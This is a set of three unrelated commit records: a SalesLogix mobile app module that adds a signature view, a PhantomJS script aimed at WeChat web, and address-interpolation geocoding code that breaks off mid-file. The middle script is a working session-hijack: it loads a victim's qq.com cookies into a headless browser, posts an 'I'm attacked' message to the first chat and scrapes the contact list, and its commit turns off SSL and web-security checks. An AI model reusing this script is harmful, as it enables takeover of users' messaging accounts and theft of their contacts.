    'Mobile/SalesLogix/Views/AddAccountContact',
    'Mobile/SalesLogix/Views/AreaCategoryIssueLookup',
    'Mobile/SalesLogix/Views/MainToolbar',
    'Mobile/SalesLogix/Views/FooterToolbar',
    'Mobile/SalesLogix/Views/Home',
    'Mobile/SalesLogix/Views/Login',
    'Mobile/SalesLogix/Views/Settings',
    'Mobile/SalesLogix/Views/Configure',
    'Mobile/SalesLogix/Views/Help',
    'Mobile/SalesLogix/Views/NameEdit',
    'Mobile/SalesLogix/Views/PickList',
    'Mobile/SalesLogix/Views/SelectList',
    'Mobile/SalesLogix/Views/TextEdit',

    'Mobile/SalesLogix/Views/Account/List',
    'Mobile/SalesLogix/Views/Account/Detail',
    'Mobile/SalesLogix/Views/Account/Edit',
    'Mobile/SalesLogix/Views/Address/Edit',
    'Mobile/SalesLogix/Views/Activity/List',
    'Mobile/SalesLogix/Views/Activity/Detail',
    'Mobile/SalesLogix/Views/Activity/Edit',
    'Mobile/SalesLogix/Views/Activity/Complete',
    'Mobile/SalesLogix/Views/Activity/TypesList',
    'Mobile/SalesLogix/Views/Calendar/DayView',
    'Mobile/SalesLogix/Views/Calendar/WeekView',
    'Mobile/SalesLogix/Views/Calendar/MonthView',
    'Mobile/SalesLogix/Views/Calendar/YearView',
    'Mobile/SalesLogix/Views/Contact/List',
    'Mobile/SalesLogix/Views/Contact/Detail',
    'Mobile/SalesLogix/Views/Contact/Edit',
    'Mobile/SalesLogix/Views/Event/List',
    'Mobile/SalesLogix/Views/Event/Detail',
    'Mobile/SalesLogix/Views/Event/Edit',
    'Mobile/SalesLogix/Views/Lead/List',
    'Mobile/SalesLogix/Views/Lead/Detail',
    'Mobile/SalesLogix/Views/Lead/Edit',
    'Mobile/SalesLogix/Views/LeadSource/List',
    'Mobile/SalesLogix/Views/Opportunity/List',
    'Mobile/SalesLogix/Views/Opportunity/Detail',
    'Mobile/SalesLogix/Views/Opportunity/Edit',
    'Mobile/SalesLogix/Views/OpportunityProduct/List',
    'Mobile/SalesLogix/Views/Owner/List',
    'Mobile/SalesLogix/Views/Ticket/List',
    'Mobile/SalesLogix/Views/Ticket/Detail',
    'Mobile/SalesLogix/Views/Ticket/Edit',
    'Mobile/SalesLogix/Views/Ticket/UrgencyLookup',
    'Mobile/SalesLogix/Views/TicketActivity/List',
    'Mobile/SalesLogix/Views/TicketActivity/Detail',
    'Mobile/SalesLogix/Views/TicketActivity/Edit',
    'Mobile/SalesLogix/Views/TicketActivity/RateLookup',
    'Mobile/SalesLogix/Views/TicketActivityItem/List',
    'Mobile/SalesLogix/Views/TicketActivityItem/Edit',
    'Mobile/SalesLogix/Views/TicketActivityItem/ProductList',
    'Mobile/SalesLogix/Views/History/List',
    'Mobile/SalesLogix/Views/History/Detail',
    'Mobile/SalesLogix/Views/History/Edit',
    'Mobile/SalesLogix/Views/User/List',

    'Mobile/SalesLogix/Fields/AddressField',
    'Mobile/SalesLogix/Fields/NameField',
    'Mobile/SalesLogix/Fields/PicklistField'
], function() {

    return dojo.declare('Mobile.SalesLogix.ApplicationModule', [Sage.Platform.Mobile.ApplicationModule], {
        loadViews: function() {
            this.inherited(arguments);

            this.registerView(new Sage.Platform.Mobile.Calendar({
                expose:false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Login());
            this.registerView(new Mobile.SalesLogix.Views.Home());
            this.registerView(new Mobile.SalesLogix.Views.Help());
            this.registerView(new Mobile.SalesLogix.Views.Settings());
            this.registerView(new Mobile.SalesLogix.Views.Configure());
            this.registerView(new Mobile.SalesLogix.Views.PickList());
            this.registerView(new Mobile.SalesLogix.Views.SelectList());
            this.registerView(new Mobile.SalesLogix.Views.AddAccountContact());
            this.registerView(new Mobile.SalesLogix.Views.AreaCategoryIssueLookup());

            this.registerView(new Mobile.SalesLogix.Views.NameEdit());
            this.registerView(new Mobile.SalesLogix.Views.TextEdit());
            this.registerView(new Mobile.SalesLogix.Views.Address.Edit());

            this.registerView(new Mobile.SalesLogix.Views.Account.List());
            this.registerView(new Mobile.SalesLogix.Views.Account.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Account.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Account.List({
                id: 'account_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Calendar.YearView());
            this.registerView(new Mobile.SalesLogix.Views.Calendar.MonthView());
            this.registerView(new Mobile.SalesLogix.Views.Calendar.WeekView());
            this.registerView(new Mobile.SalesLogix.Views.Calendar.DayView());

            this.registerView(new Mobile.SalesLogix.Views.Contact.List());
            this.registerView(new Mobile.SalesLogix.Views.Contact.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Contact.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Contact.List({
                id: 'contact_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Event.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Event.List({ expose: false }));
            this.registerView(new Mobile.SalesLogix.Views.Event.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Event.List({
                id: 'event_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Opportunity.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Opportunity.List());
            this.registerView(new Mobile.SalesLogix.Views.Opportunity.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Opportunity.List({
                id: 'opportunity_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.OpportunityProduct.List({
                id: 'opportunityproduct_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Lead.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Lead.List());
            this.registerView(new Mobile.SalesLogix.Views.Lead.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Lead.List({
                id: 'lead_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Ticket.List());
            this.registerView(new Mobile.SalesLogix.Views.Ticket.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Ticket.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Ticket.List({
                id: 'ticket_related',
                expose: false
            }));
            this.registerView(new Mobile.SalesLogix.Views.TicketActivity.List());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivity.Detail());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivity.Edit());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivity.RateLookup({
                expose: false
            }));
            this.registerView(new Mobile.SalesLogix.Views.TicketActivity.List({
                id: 'ticket_activity_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.TicketActivityItem.List());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivityItem.Edit());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivityItem.ProductList());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivityItem.List({
                id: 'ticket_activity_item_list_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Activity.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Activity.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Activity.Complete());
            this.registerView(new Mobile.SalesLogix.Views.Activity.TypesList());
            this.registerView(new Mobile.SalesLogix.Views.Activity.List({
                id: 'activity_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.History.Detail());
            this.registerView(new Mobile.SalesLogix.Views.History.List());
            this.registerView(new Mobile.SalesLogix.Views.History.Edit());
            this.registerView(new Mobile.SalesLogix.Views.History.List({
                id: 'history_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.User.List({
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Owner.List({
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.LeadSource.List({
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Ticket.UrgencyLookup({
                expose: false
            }));
        },
        loadToolbars: function() {
            this.inherited(arguments);

            this.registerToolbar(new Mobile.SalesLogix.Views.MainToolbar({
                name: 'tbar',
                title: this.titleText
            }));

            this.registerToolbar(new Mobile.SalesLogix.Views.FooterToolbar({
                name: 'bbar'
            }));
        },
        loadCustomizations: function() {
            this.loadBaseCustomizations();
        },
        loadBaseCustomizations: function() {
            dojo.extend(Sage.Platform.Mobile.List, {
                expose: true,
                getSecurity: function() {
                    return (this.expose && this.security); // only check security on exposed views
                }
            });

            if(App.serverVersion.major >= 8)
            {
                // Activity Location Sawgrass+
                //todo: Limit visibility to Meeting or PhoneCall Type only
                dojo.extend(Mobile.SalesLogix.Views.Activity.Detail, {
                    querySelect: Mobile.SalesLogix.Views.Activity.Detail.prototype.querySelect.concat([
                        'Location']),
                    isLocationAware: function(){
                        var activityType = this.entry['Type'],
                            locationAwareTypes = ['atAppointment', 'atPhoneCall'];
                        return (dojo.indexOf(locationAwareTypes, activityType) === -1);
                    }
                });
                dojo.extend(Mobile.SalesLogix.Views.Activity.Edit, {
                    isLocationAware: function(){
                        var activityType = this.options.activityType,
                            locationAwareTypes = ['atAppointment', 'atPhoneCall'];
                        if(dojo.indexOf(locationAwareTypes, activityType) === -1)
                        {
                            this.fields['Location'].hide();
                        }
                        else
                        {
                            this.fields['Location'].show();
                        }
                    }
                });
                // isLocationAware should be called during setValues
                dojo.connect(Mobile.SalesLogix.Views.Activity.Edit, 'setValues', Mobile.SalesLogix.Views.Activity.Edit.prototype, 'isLocationAware');

                this.registerCustomization('detail', 'activity_detail', {
                    at: function(row) { return row.property === 'Priority'; },
                    type: 'insert',
                    where: 'before',
                    value: {
                        property: 'Location',
                        exclude: Mobile.SalesLogix.Views.Activity.Detail.prototype.isLocationAware,
                        label: Mobile.SalesLogix.Views.Activity.Detail.prototype.locationText
                    }
                });
                this.registerCustomization('edit', 'activity_edit', {
                    at: function(row) { return row.property === 'Priority'; },
                    type: 'insert',
                    where: 'before',
                    value: {
                        property: 'Location',
                        label: Mobile.SalesLogix.Views.Activity.Edit.prototype.locationText,
                        type: 'text'
                    }
                });
            }
        }
    });

});
<commit_msg>Signature capture view<commit_after>
define('Mobile/SalesLogix/ApplicationModule', [
    'Sage/Platform/Mobile/ApplicationModule',

    'Mobile/SalesLogix/Format',
    'Mobile/SalesLogix/Template',
    'Mobile/SalesLogix/Validator',
    'Mobile/SalesLogix/Environment',

    'Mobile/SalesLogix/Views/AddAccountContact',
    'Mobile/SalesLogix/Views/AreaCategoryIssueLookup',
    'Mobile/SalesLogix/Views/MainToolbar',
    'Mobile/SalesLogix/Views/FooterToolbar',
    'Mobile/SalesLogix/Views/Home',
    'Mobile/SalesLogix/Views/Login',
    'Mobile/SalesLogix/Views/Settings',
    'Mobile/SalesLogix/Views/Configure',
    'Mobile/SalesLogix/Views/Help',
    'Mobile/SalesLogix/Views/NameEdit',
    'Mobile/SalesLogix/Views/PickList',
    'Mobile/SalesLogix/Views/SelectList',
    'Mobile/SalesLogix/Views/TextEdit',

    'Mobile/SalesLogix/Views/Account/List',
    'Mobile/SalesLogix/Views/Account/Detail',
    'Mobile/SalesLogix/Views/Account/Edit',
    'Mobile/SalesLogix/Views/Address/Edit',
    'Mobile/SalesLogix/Views/Activity/List',
    'Mobile/SalesLogix/Views/Activity/Detail',
    'Mobile/SalesLogix/Views/Activity/Edit',
    'Mobile/SalesLogix/Views/Activity/Complete',
    'Mobile/SalesLogix/Views/Activity/TypesList',
    'Mobile/SalesLogix/Views/Calendar/DayView',
    'Mobile/SalesLogix/Views/Calendar/WeekView',
    'Mobile/SalesLogix/Views/Calendar/MonthView',
    'Mobile/SalesLogix/Views/Calendar/YearView',
    'Mobile/SalesLogix/Views/Contact/List',
    'Mobile/SalesLogix/Views/Contact/Detail',
    'Mobile/SalesLogix/Views/Contact/Edit',
    'Mobile/SalesLogix/Views/Event/List',
    'Mobile/SalesLogix/Views/Event/Detail',
    'Mobile/SalesLogix/Views/Event/Edit',
    'Mobile/SalesLogix/Views/Lead/List',
    'Mobile/SalesLogix/Views/Lead/Detail',
    'Mobile/SalesLogix/Views/Lead/Edit',
    'Mobile/SalesLogix/Views/LeadSource/List',
    'Mobile/SalesLogix/Views/Opportunity/List',
    'Mobile/SalesLogix/Views/Opportunity/Detail',
    'Mobile/SalesLogix/Views/Opportunity/Edit',
    'Mobile/SalesLogix/Views/OpportunityProduct/List',
    'Mobile/SalesLogix/Views/Owner/List',
    'Mobile/SalesLogix/Views/Ticket/List',
    'Mobile/SalesLogix/Views/Ticket/Detail',
    'Mobile/SalesLogix/Views/Ticket/Edit',
    'Mobile/SalesLogix/Views/Ticket/UrgencyLookup',
    'Mobile/SalesLogix/Views/TicketActivity/List',
    'Mobile/SalesLogix/Views/TicketActivity/Detail',
    'Mobile/SalesLogix/Views/TicketActivity/Edit',
    'Mobile/SalesLogix/Views/TicketActivity/RateLookup',
    'Mobile/SalesLogix/Views/TicketActivityItem/List',
    'Mobile/SalesLogix/Views/TicketActivityItem/Edit',
    'Mobile/SalesLogix/Views/TicketActivityItem/ProductList',
    'Mobile/SalesLogix/Views/History/List',
    'Mobile/SalesLogix/Views/History/Detail',
    'Mobile/SalesLogix/Views/History/Edit',
    'Mobile/SalesLogix/Views/User/List',

    'Mobile/SalesLogix/Fields/AddressField',
    'Mobile/SalesLogix/Fields/NameField',
    'Mobile/SalesLogix/Fields/PicklistField'
], function() {

    return dojo.declare('Mobile.SalesLogix.ApplicationModule', [Sage.Platform.Mobile.ApplicationModule], {
        loadViews: function() {
            this.inherited(arguments);

            this.registerView(new Sage.Platform.Mobile.Calendar({
                expose:false
            }));

            this.registerView(new Sage.Platform.Mobile.Views.Signature({
                expose:false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Login());
            this.registerView(new Mobile.SalesLogix.Views.Home());
            this.registerView(new Mobile.SalesLogix.Views.Help());
            this.registerView(new Mobile.SalesLogix.Views.Settings());
            this.registerView(new Mobile.SalesLogix.Views.Configure());
            this.registerView(new Mobile.SalesLogix.Views.PickList());
            this.registerView(new Mobile.SalesLogix.Views.SelectList());
            this.registerView(new Mobile.SalesLogix.Views.AddAccountContact());
            this.registerView(new Mobile.SalesLogix.Views.AreaCategoryIssueLookup());

            this.registerView(new Mobile.SalesLogix.Views.NameEdit());
            this.registerView(new Mobile.SalesLogix.Views.TextEdit());
            this.registerView(new Mobile.SalesLogix.Views.Address.Edit());

            this.registerView(new Mobile.SalesLogix.Views.Account.List());
            this.registerView(new Mobile.SalesLogix.Views.Account.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Account.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Account.List({
                id: 'account_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Calendar.YearView());
            this.registerView(new Mobile.SalesLogix.Views.Calendar.MonthView());
            this.registerView(new Mobile.SalesLogix.Views.Calendar.WeekView());
            this.registerView(new Mobile.SalesLogix.Views.Calendar.DayView());

            this.registerView(new Mobile.SalesLogix.Views.Contact.List());
            this.registerView(new Mobile.SalesLogix.Views.Contact.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Contact.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Contact.List({
                id: 'contact_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Event.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Event.List({ expose: false }));
            this.registerView(new Mobile.SalesLogix.Views.Event.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Event.List({
                id: 'event_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Opportunity.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Opportunity.List());
            this.registerView(new Mobile.SalesLogix.Views.Opportunity.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Opportunity.List({
                id: 'opportunity_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.OpportunityProduct.List({
                id: 'opportunityproduct_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Lead.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Lead.List());
            this.registerView(new Mobile.SalesLogix.Views.Lead.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Lead.List({
                id: 'lead_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Ticket.List());
            this.registerView(new Mobile.SalesLogix.Views.Ticket.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Ticket.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Ticket.List({
                id: 'ticket_related',
                expose: false
            }));
            this.registerView(new Mobile.SalesLogix.Views.TicketActivity.List());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivity.Detail());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivity.Edit());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivity.RateLookup({
                expose: false
            }));
            this.registerView(new Mobile.SalesLogix.Views.TicketActivity.List({
                id: 'ticket_activity_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.TicketActivityItem.List());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivityItem.Edit());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivityItem.ProductList());
            this.registerView(new Mobile.SalesLogix.Views.TicketActivityItem.List({
                id: 'ticket_activity_item_list_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Activity.Detail());
            this.registerView(new Mobile.SalesLogix.Views.Activity.Edit());
            this.registerView(new Mobile.SalesLogix.Views.Activity.Complete());
            this.registerView(new Mobile.SalesLogix.Views.Activity.TypesList());
            this.registerView(new Mobile.SalesLogix.Views.Activity.List({
                id: 'activity_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.History.Detail());
            this.registerView(new Mobile.SalesLogix.Views.History.List());
            this.registerView(new Mobile.SalesLogix.Views.History.Edit());
            this.registerView(new Mobile.SalesLogix.Views.History.List({
                id: 'history_related',
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.User.List({
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Owner.List({
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.LeadSource.List({
                expose: false
            }));

            this.registerView(new Mobile.SalesLogix.Views.Ticket.UrgencyLookup({
                expose: false
            }));
        },
        loadToolbars: function() {
            this.inherited(arguments);

            this.registerToolbar(new Mobile.SalesLogix.Views.MainToolbar({
                name: 'tbar',
                title: this.titleText
            }));

            this.registerToolbar(new Mobile.SalesLogix.Views.FooterToolbar({
                name: 'bbar'
            }));
        },
        loadCustomizations: function() {
            this.loadBaseCustomizations();
        },
        loadBaseCustomizations: function() {
            dojo.extend(Sage.Platform.Mobile.List, {
                expose: true,
                getSecurity: function() {
                    return (this.expose && this.security); // only check security on exposed views
                }
            });

            if(App.serverVersion.major >= 8)
            {
                // Activity Location Sawgrass+
                //todo: Limit visibility to Meeting or PhoneCall Type only
                dojo.extend(Mobile.SalesLogix.Views.Activity.Detail, {
                    querySelect: Mobile.SalesLogix.Views.Activity.Detail.prototype.querySelect.concat([
                        'Location']),
                    isLocationAware: function(){
                        var activityType = this.entry['Type'],
                            locationAwareTypes = ['atAppointment', 'atPhoneCall'];
                        return (dojo.indexOf(locationAwareTypes, activityType) === -1);
                    }
                });
                dojo.extend(Mobile.SalesLogix.Views.Activity.Edit, {
                    isLocationAware: function(){
                        var activityType = this.options.activityType,
                            locationAwareTypes = ['atAppointment', 'atPhoneCall'];
                        if(dojo.indexOf(locationAwareTypes, activityType) === -1)
                        {
                            this.fields['Location'].hide();
                        }
                        else
                        {
                            this.fields['Location'].show();
                        }
                    }
                });
                // isLocationAware should be called during setValues
                dojo.connect(Mobile.SalesLogix.Views.Activity.Edit, 'setValues', Mobile.SalesLogix.Views.Activity.Edit.prototype, 'isLocationAware');

                this.registerCustomization('detail', 'activity_detail', {
                    at: function(row) { return row.property === 'Priority'; },
                    type: 'insert',
                    where: 'before',
                    value: {
                        property: 'Location',
                        exclude: Mobile.SalesLogix.Views.Activity.Detail.prototype.isLocationAware,
                        label: Mobile.SalesLogix.Views.Activity.Detail.prototype.locationText
                    }
                });
                this.registerCustomization('edit', 'activity_edit', {
                    at: function(row) { return row.property === 'Priority'; },
                    type: 'insert',
                    where: 'before',
                    value: {
                        property: 'Location',
                        label: Mobile.SalesLogix.Views.Activity.Edit.prototype.locationText,
                        type: 'text'
                    }
                });
            }
        }
    });

});
<|endoftext|>


<commit_before>var debug = require('debug')('wx.qq.com');
var cookie = require('cookie');
var request = require('request');
var phridge = require('phridge');

request.debug = false;

function run(data) {
  var cookies = cookie.parse(data.cookies);

  phridge
      .spawn()
      .then(function (phantom) {

        phantom.run(cookies, function (cookies, resolve) {

          var page = webpage.create();

          for (var key in cookies) {
            phantom.addCookie({
              name: key,
              value: cookies[key],
              path: '/',
              domain: '.qq.com',
              httponly: false,
              secure: false,
              expires: 'Infinity'
            });
          }

          page.onCallBack = function(data) {
            console.log('onCallBack:', data);
            //console.log('CALLBACK: ' + JSON.stringify(data));
            //resolve(data);
          }

          page.onConsoleMessage = function(msg, lineNum, sourceId) {
            console.log('CONSOLE: ' + msg);
          };

          page.onResourceRequested = function(requestData, networkRequest) {
            //console.log('Request (#' + requestData.id + '): ' + JSON.stringify(requestData));
          };

          page.open('https://wx.qq.com/', function (status) {
            console.log('STATUS: ' + status);
            page.includeJs("https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js", function() {
              page.evaluateAsync(function() {

                function clickElement (el){
                  var ev = document.createEvent("MouseEvent");
                  ev.initMouseEvent(
                      "click",
                      true /* bubble */, true /* cancelable */,
                      window, null,
                      0, 0, 0, 0, /* coordinates */
                      false, false, false, false, /* modifier keys */
                      0 /*left*/, null
                  );
                  el.dispatchEvent(ev);
                };

                $(function() {
                  var msg = 'I\'m attacked ' + (new Date).getTime();
                  clickElement($('#conversationContainer .chatListColumn:first')[0]);
                  document.getElementById('textInput').value = msg;
                  clickElement($('.chatSend')[0]);

                  clickElement($('.addrButton')[0]);
                  setTimeout(function() {
                    var contacts = $('#contactListContainer .nickName').map(function() {
                      return $(this).text();
                    }).get();
                    console.log('contacts: ' + JSON.stringify(contacts));
                  }, 5000);

                  //window.callPhantom({msg: 'aaaaa'});
                  resolve({
                    msg: msg,
                    contacts: contacts
                  });
                });

              });

            });

          });
        })
        .then(function (obj) {
          debug('obj: ', obj);
          phantom.dispose();
        });
      })
      .catch(function (err) {
        console.log(err); // 'An unknown error occured'
      });

}

exports.run = run;<commit_msg>resolve #4<commit_after>var debug = require('debug')('wx.qq.com');
var cookie = require('cookie');
var request = require('request');
var phridge = require('phridge');

request.debug = false;

function run(data) {
  var cookies = cookie.parse(data.cookies);

  phridge
      .spawn({
        diskCacheEnabled: true,
        ignoreSslErrors: true,
        autoLoadImages: false,
        webSecurityEnabled: false
      })
      .then(function (phantom) {

        phantom.run(cookies, function (cookies, resolve) {

          var page = webpage.create();

          for (var key in cookies) {
            phantom.addCookie({
              name: key,
              value: cookies[key],
              path: '/',
              domain: '.qq.com',
              httponly: false,
              secure: false,
              expires: 'Infinity'
            });
          }

          page.onCallBack = function(data) {
            console.log('onCallBack:', data);
            //console.log('CALLBACK: ' + JSON.stringify(data));
            //resolve(data);
          }

          page.onConsoleMessage = function(msg, lineNum, sourceId) {
            console.log('CONSOLE: ' + msg);
          };

          page.onResourceRequested = function(requestData, networkRequest) {
            //console.log('Request (#' + requestData.id + '): ' + JSON.stringify(requestData));
          };

          page.open('https://wx.qq.com/', function (status) {
            console.log('STATUS: ' + status);
            page.includeJs("https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js", function() {
              page.evaluateAsync(function() {

                function clickElement (el){
                  var ev = document.createEvent("MouseEvent");
                  ev.initMouseEvent(
                      "click",
                      true /* bubble */, true /* cancelable */,
                      window, null,
                      0, 0, 0, 0, /* coordinates */
                      false, false, false, false, /* modifier keys */
                      0 /*left*/, null
                  );
                  el.dispatchEvent(ev);
                };

                $(function() {
                  var msg = 'I\'m attacked ' + (new Date).getTime();
                  clickElement($('#conversationContainer .chatListColumn:first')[0]);
                  document.getElementById('textInput').value = msg;
                  clickElement($('.chatSend')[0]);

                  clickElement($('.addrButton')[0]);
                  setTimeout(function() {
                    var contacts = $('#contactListContainer .nickName').map(function() {
                      return $(this).text();
                    }).get();
                    console.log('contacts: ' + JSON.stringify(contacts));
                  }, 5000);

                  //window.callPhantom({msg: 'aaaaa'});
                  resolve({
                    msg: msg,
                    contacts: contacts
                  });
                });

              });

            });

          });
        })
        .then(function (obj) {
          debug('obj: ', obj);
          phantom.dispose();
        });
      })
      .catch(function (err) {
        console.log(err); // 'An unknown error occured'
      });

}

exports.run = run;<|endoftext|>


<commit_before>var O = { O: true, B: true, '': true };
var E = { E: true, B: true, '': true };

module.exports = function(feature, address) {
    // features without address data at all, on either side of the street
    if (feature._rangetype !== 'tiger' ||
        !feature._geometry ||
        (feature._geometry.type !== 'LineString' &&
        feature._geometry.type !== 'MultiLineString')) return;

    var lines = feature._geometry.type === 'MultiLineString' ?
        feature._geometry.coordinates :
        [feature._geometry.coordinates];
    var lf = Array.isArray(feature._lfromhn) ? feature._lfromhn : feature._lfromhn ? [feature._lfromhn] : [];
    var lt = Array.isArray(feature._ltohn)   ? feature._ltohn : feature._ltohn ? [feature._ltohn] : [];
    var rf = Array.isArray(feature._rfromhn) ? feature._rfromhn : feature._rfromhn ? [feature._rfromhn] : [];
    var rt = Array.isArray(feature._rtohn)   ? feature._rtohn : feature._rtohn ? [feature._rtohn] : [];
    var lp = Array.isArray(feature._parityl) ? feature._parityl : feature._parityl ? [feature._parityl] : [];
    var rp = Array.isArray(feature._parityr) ? feature._parityr : feature._parityr ? [feature._parityr] : [];

    var neighbors = {nlfrom: -Infinity, nlto: Infinity, nrfrom: -Infinity, nrto: Infinity};

    for (var i = 0; i < lines.length; i++) {
        var lfromhn = parseSemiNumber(lf[i]),
            rfromhn = parseSemiNumber(rf[i]),
            ltohn = parseSemiNumber(lt[i]),
            rtohn = parseSemiNumber(rt[i]),
            parityl = lp[i] || '',
            parityr = rp[i] || '';

        // no usable data at all
        if ([lfromhn, rfromhn, ltohn, rtohn].every(falsy)) continue;

        var start, end, side, paritymask, coords;

        paritymask = (address % 2) === 0 ? E : O;

        // check left side
        if (typeof lfromhn === 'number' &&
            address >= Math.min(lfromhn,ltohn) &&
            address <= Math.max(lfromhn,ltohn) &&
            paritymask[parityl]) {
            start = lfromhn;
            end = ltohn;
            side ='left';
            coords = lines[i].slice(0);
            return setPoint(address, start, end, coords);
        } else if (typeof rfromhn === 'number' &&
            address >= Math.min(rfromhn,rtohn) &&
            address <= Math.max(rfromhn,rtohn) &&
            paritymask[parityr]) {
            start = rfromhn;
            end = rtohn;
            side ='right';
            coords = lines[i].slice(0);
            return setPoint(address, start, end, coords);
        } else {
            if (Math.abs(neighbors.nlfrom - address) > Math.abs(lfromhn - address)) {
                neighbors.nlfrom = lfromhn;
                neighbors.nlf_pt = lines[i][0];
            }
            if (Math.abs(neighbors.nlto - address) > Math.abs(ltohn - address)) {
                neighbors.nlto = ltohn;
                neighbors.nlt_pt = lines[i][1];
            }

            if (Math.abs(neighbors.nrfrom - address) > Math.abs(rfromhn - address)) {
                neighbors.nrfrom = rfromhn;
                neighbors.nrf_pt = lines[i][0];
            }
            if (Math.abs(neighbors.nrto - address) > Math.abs(rtohn - address)) {
                neighbors.nrto = rtohn;
                neighbors.nrt_pt = lines[i][1];
            }
            continue;
        }
    }
    if (Math.abs(neighbors.nlfrom - neighbors.nlto) <= 4) {
        start = neighbors.nlfrom;
        end = neighbors.nlto;
        coords = [neighbors.nlf_pt, neighbors.nlt_pt];
        return setPoint(address, start, end, coords);
    }

    if (Math.abs(neighbors.nrfrom - neighbors.nrto) <= 4) {
        start = neighbors.nrfrom;
        end = neighbors.nrto;
        coords = [neighbors.nrf_pt, neighbors.nrt_pt];
        return setPoint(address, start, end, coords);
    }
};

function setPoint(address, start, end, coords) {
        var reverse = false;
        if (start > end) {
            reverse = true;
            // swap start and end
            var _;
            _ = end;
            end = start;
            start = _;
        }

        // a normalized number between 0 and 1
        var part = (address - start) / (end - start);

        if (reverse) coords.reverse();

        var distance = calculateDistance(coords);
        var unnorm = part * distance;

        for (var stop = 1; stop < coords.length - 1; stop++) {
            if (coords[stop][2] > unnorm) break;
        }

        var interp = (unnorm - coords[stop - 1][2]) /
            (coords[stop][2] - coords[stop - 1][2]);

        return {
            type:'Point',
            coordinates: [
                coords[stop][0] * interp + coords[stop - 1][0] * (1 - interp),
                coords[stop][1] * interp + coords[stop - 1][1] * (1 - interp)
            ].map(function(v) {
                return Math.round(v*1e6) / 1e6;
            })
        };
}

module.exports.parseSemiNumber = parseSemiNumber;
module.exports.calculateDistance = calculateDistance;

function calculateDistance(coords) {
    var a, b, distance = 0;
    coords[0].push(distance);
    for (var j = 1; j < coords.length; j++) {
        a = coords[j - 1];
        b = coords[j];
        distance += Math.sqrt(
            ((a[0] - b[0]) * (a[0] - b[0])) +
            ((a[1] - b[1]) * (a[1] - b[1])));
        coords[j].push(distance);
    }
    return distance;
}

function parseSemiNumber(_) {
    _ = parseInt((_ || '').replace(/[^\d]/g,''),10);
    return isNaN(_) ? null : _;
}

function falsy(_) { return !_; }
<commit_msg>Make sure ranges are set before setting.<commit_after>var O = { O: true, B: true, '': true };
var E = { E: true, B: true, '': true };

module.exports = function(feature, address) {
    // features without address data at all, on either side of the street
    if (feature._rangetype !== 'tiger' ||
        !feature._geometry ||
        (feature._geometry.type !== 'LineString' &&
        feature._geometry.type !== 'MultiLineString')) return;

    var lines = feature._geometry.type === 'MultiLineString' ?
        feature._geometry.coordinates :
        [feature._geometry.coordinates];
    var lf = Array.isArray(feature._lfromhn) ? feature._lfromhn : feature._lfromhn ? [feature._lfromhn] : [];
